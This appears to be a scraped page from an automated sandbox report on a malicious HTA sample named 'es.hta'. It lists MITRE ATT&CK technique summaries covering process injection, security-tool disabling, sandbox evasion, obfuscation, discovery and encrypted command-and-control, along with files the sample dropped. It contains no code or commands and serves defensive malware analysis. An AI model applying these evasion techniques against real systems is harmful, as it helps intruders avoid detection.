Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Modification, Windows Registry: Windows Registry Key Modification
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report es.hta

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Exploits

Compliance

Spreading

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\4fe763.rbs

C:\Config.Msi\4fe765.rbs

C:\Config.Msi\4fe766.rbs

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\51e17822

C:\Users\user\AppData\Local\Temp\5296c752

C:\Users\user\AppData\Local\Temp\59268cf1

C:\Users\user\AppData\Local\Temp\6288deb6

C:\Users\user\AppData\Local\Temp\68433fa1

C:\Users\user\AppData\Local\Temp\6a8dc2ae

C:\Users\user\AppData\Local\Temp\Aplanogamete\IDRBackup.exe

Windows Analysis Report
es.hta

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre